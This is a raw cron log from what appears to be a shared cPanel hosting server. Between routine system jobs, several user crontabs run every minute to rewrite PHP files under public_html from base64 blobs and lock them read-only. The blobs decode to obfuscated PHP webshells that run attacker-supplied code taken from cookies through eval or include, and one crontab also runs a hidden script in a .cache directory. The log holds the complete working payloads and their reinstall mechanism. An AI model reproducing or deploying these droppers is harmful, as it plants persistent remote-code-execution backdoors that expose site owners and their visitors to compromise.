Apr 19 03:55:48 medusa run-parts(/etc/cron.daily)[14442]: finished logrotate
Apr 19 03:55:48 medusa run-parts(/etc/cron.daily)[8688]: starting man-db.cron
Apr 19 03:56:01 medusa CROND[19731]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Apr 19 03:56:01 medusa CROND[19736]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Apr 19 03:56:01 medusa CROND[19737]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Apr 19 03:56:01 medusa CROND[19738]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 03:56:01 medusa CROND[19739]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 03:56:01 medusa CROND[19740]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Apr 19 03:56:01 medusa CROND[19742]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Apr 19 03:56:01 medusa CROND[19741]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Apr 19 03:56:01 medusa CROND[19744]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Apr 19 03:56:01 medusa CROND[19745]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Apr 19 03:56:01 medusa CROND[19743]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Apr 19 03:56:01 medusa CROND[19751]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 03:56:01 medusa CROND[19750]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 03:56:01 medusa CROND[19754]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Apr 19 03:56:19 medusa run-parts(/etc/cron.daily)[26914]: finished man-db.cron
Apr 19 03:56:19 medusa anacron[27755]: Job `cron.daily' terminated (produced output)
Apr 19 03:56:21 medusa anacron[27755]: Normal exit (1 job run)
Apr 19 03:57:01 medusa CROND[10774]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Apr 19 03:57:01 medusa CROND[10894]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 03:57:01 medusa CROND[10895]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Apr 19 03:57:01 medusa CROND[10893]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Apr 19 03:57:01 medusa CROND[10897]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Apr 19 03:57:01 medusa CROND[10896]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 03:57:01 medusa CROND[10898]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Apr 19 03:57:01 medusa CROND[10909]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 03:57:01 medusa CROND[10910]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Apr 19 03:57:01 medusa CROND[10913]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Apr 19 03:57:01 medusa CROND[10919]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 03:57:01 medusa CROND[10920]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Apr 19 03:58:01 medusa CROND[2764]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Apr 19 03:58:02 medusa CROND[2821]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Apr 19 03:58:02 medusa CROND[2822]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
